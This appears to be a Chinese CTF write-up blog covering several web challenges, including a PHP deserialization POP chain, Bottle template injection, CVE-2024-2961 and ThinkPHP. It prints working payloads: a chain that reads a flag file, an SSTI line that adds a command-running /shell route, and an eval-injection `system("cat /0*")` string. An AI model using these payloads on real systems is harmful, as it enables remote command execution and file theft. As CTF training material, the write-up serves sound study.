[GHCTF2025]Popppppp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 <?php error_reporting(0); class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) { $this->fruit1 = $a; } function __destruct() { echo $this->fruit1; } public function __toString() { $newFunc = $this->fruit2; return $newFunc(); } } class Forbidden { private $fruit3; public function __construct($string) { $this->fruit3 = $string; } public function __get($name) { $var = $this->$name; $var[$name](); } } class Warlord { public $fruit4; public $fruit5; public $arg1; public function __call($arg1, $arg2) { $function = $this->fruit4; return $function(); } public function __get($arg1) { $this->fruit5->ll2('b2'); } } class Samurai { public $fruit6; public $fruit7; public function __toString() { $long = @$this->fruit6->add(); return $long; } public function __set($arg1, $arg2) { if ($this->fruit7->tt2) { echo "xxx are the best!!!"; } } } class Mystery { public function __get($arg1) { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); } } class Princess { protected $fruit9; protected function addMe() { return "The time spent with xxx is my happiest time" . $this->fruit9; } public function __call($func, $args) { call_user_func([$this, $func . "Me"], $args); } } class Philosopher { public $fruit10; public $fruit11="sr22kaDugamdwTPhG5zU"; public function __invoke() { if (md5(md5($this->fruit11)) == 666) { return $this->fruit10->hey; } } } class UselessTwo { public $hiddenVar = "123123"; public function __construct($value) { $this->hiddenVar = $value; } public function __toString() { return $this->hiddenVar; } } class Warrior { public $fruit12; private $fruit13; public function __set($name, $value) { $this->$name = $value; if ($this->fruit13 == "xxx") { strtolower($this->fruit12); } } } class UselessThree { public $dummyVar; public function __call($name, $args) { return $name; } } class UselessFour { public $lalala; public function __destruct() { echo "Hehe"; } } if (isset($_GET['GHCTF'])) { unserialize($_GET['GHCTF']); } else { highlight_file(__FILE__); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 <?php error_reporting(0); class CherryBlossom { public $fruit1; public $fruit2; public function __construct($a) { $this->fruit1 = $a; } function __destruct() { echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai //1.1 $fruit1=new CherryBlossom } public function __toString() { $newFunc = $this->fruit2; return $newFunc(); //找__invoke, 1.2 $fruit2= new Philosopher } } class Forbidden { private $fruit3; public function __construct($string) { $this->fruit3 = $string; } public function __get($name) { $var = $this->$name; $var[$name](); } } class Warlord { public $fruit4; public $fruit5; public $arg1; public function __call($arg1, $arg2) { $function = $this->fruit4; return $function(); } public function __get($arg1) { $this->fruit5->ll2('b2'); } } class Samurai { public $fruit6; public $fruit7; public function __toString() { $long = @$this->fruit6->add(); return $long; } public function __set($arg1, $arg2) { if ($this->fruit7->tt2) { echo "xxx are the best!!!"; } } } class Mystery { //自己手动加 public $SplFileObject = "php://filter/read=convert.base64-encode/resource=/flag44545615441084"; // public $GlobIterator="glob:///*"; //$day2对象的属性名, $day1是对象的属性值 public function __get($arg1) { array_walk($this, function ($day1, $day2) { $day3 = new $day2($day1); //利用SplFileObject读取文件 foreach ($day3 as $day4) { echo ($day4 . '<br>'); } }); } } class Princess { protected $fruit9; protected function addMe() { return "The time spent with xxx is my happiest time" . $this->fruit9; } public function __call($func, $args) { call_user_func([$this, $func . "Me"], $args); } } class Philosopher { public $fruit10; public $fruit11="sr22kaDugamdwTPhG5zU"; public function __invoke() { if (md5(md5($this->fruit11)) == 666) {//需要绕过, 弱比较, 所以需要找到md5值开头是666后接字母的表达, 写一个脚本跑一下可以找到很多 比如"7000120353" return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden } //使用Mystery 1.3 $fruit10=new Mystery } } class UselessTwo { public $hiddenVar = "123123"; public function __construct($value) { $this->hiddenVar = $value; } public function __toString() { return $this->hiddenVar; } } class Warrior { public $fruit12; private $fruit13; public function __set($name, $value) { $this->$name = $value; if ($this->fruit13 == "xxx") { strtolower($this->fruit12); } } } class UselessThree { public $dummyVar; public function __call($name, $args) { return $name; } } class UselessFour { public $lalala; public function __destruct() { echo "Hehe"; } } if (isset($_GET['GHCTF'])) { unserialize($_GET['GHCTF']); } else { highlight_file(__FILE__); } //利用点: 1.Mystery里面的array_walk函数 //2. Princess类里面的call_user_func函数 $a=new CherryBlossom(); $a->fruit1=new CherryBlossom(); $a->fruit1->fruit2= new Philosopher(); $a->fruit1->fruit2->fruit11=19000062111; $a->fruit1->fruit2->fruit10=new Mystery(); echo serialize($a);
##[GHCTF 2025]Message in a Bottle plus
bottle框架的ssti
1 2 3 4 5 ''' % from bottle import Bottle, request % app=__import__('sys').modules['__main__'].__dict__['app'] % app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read()) '''
ec_readfile 这题当时比赛的时候看了好久,我靠,我当时让这题搞红温了,我没想到他目录不可写,呜呜呜,被愤怒冲昏了
知道是CVE-2024-2961,妈的,我还以为我脚本有问题,没权限写,弹shell就行,
西瓜杯CodeInject 1 2 3 4 5 6 7 8 9 10 11 <?php #Author: h1xa error_reporting(0); show_source(__FILE__); eval("var_dump((Object)$_POST[1]);"); 把vardump闭合了就好了 1=1);system("cat /0*");//
西瓜杯tpdoor 开局是thinkphp,还是8,最新版的
给了个index.php
下载最新版的源码
通过index.php可以发现isCache是可控的,通过url可以控制isCache的值,也就是$config[‘request_cache_key’]
我们跟进$config[‘request_cache_key’],找到相关的/../../config/route.php文件
找到相关的值vendor/topthink/framework/src/think/middleware/CheckRequestCache.php
回来到parseCacheKey
继续跟进,可以看到这里的 elseif
以 |
为分割得到 $key
和 $fun
。
后面fun和key会组成函数
[LitCTF 2024]百万美元的诱惑 1 2 3 4 5 6 给个简单的exp,只聊最后一步 $$表示当前运行进程的进程号,并且注意到/没有被拦截 $(())里面可以包裹并计算数学表达式,则 做个简单除法$$/$$即为1,$$/$$+$$/$$即为2。则exp有了:$(($$/$$))$(($$/$$+$$/$$))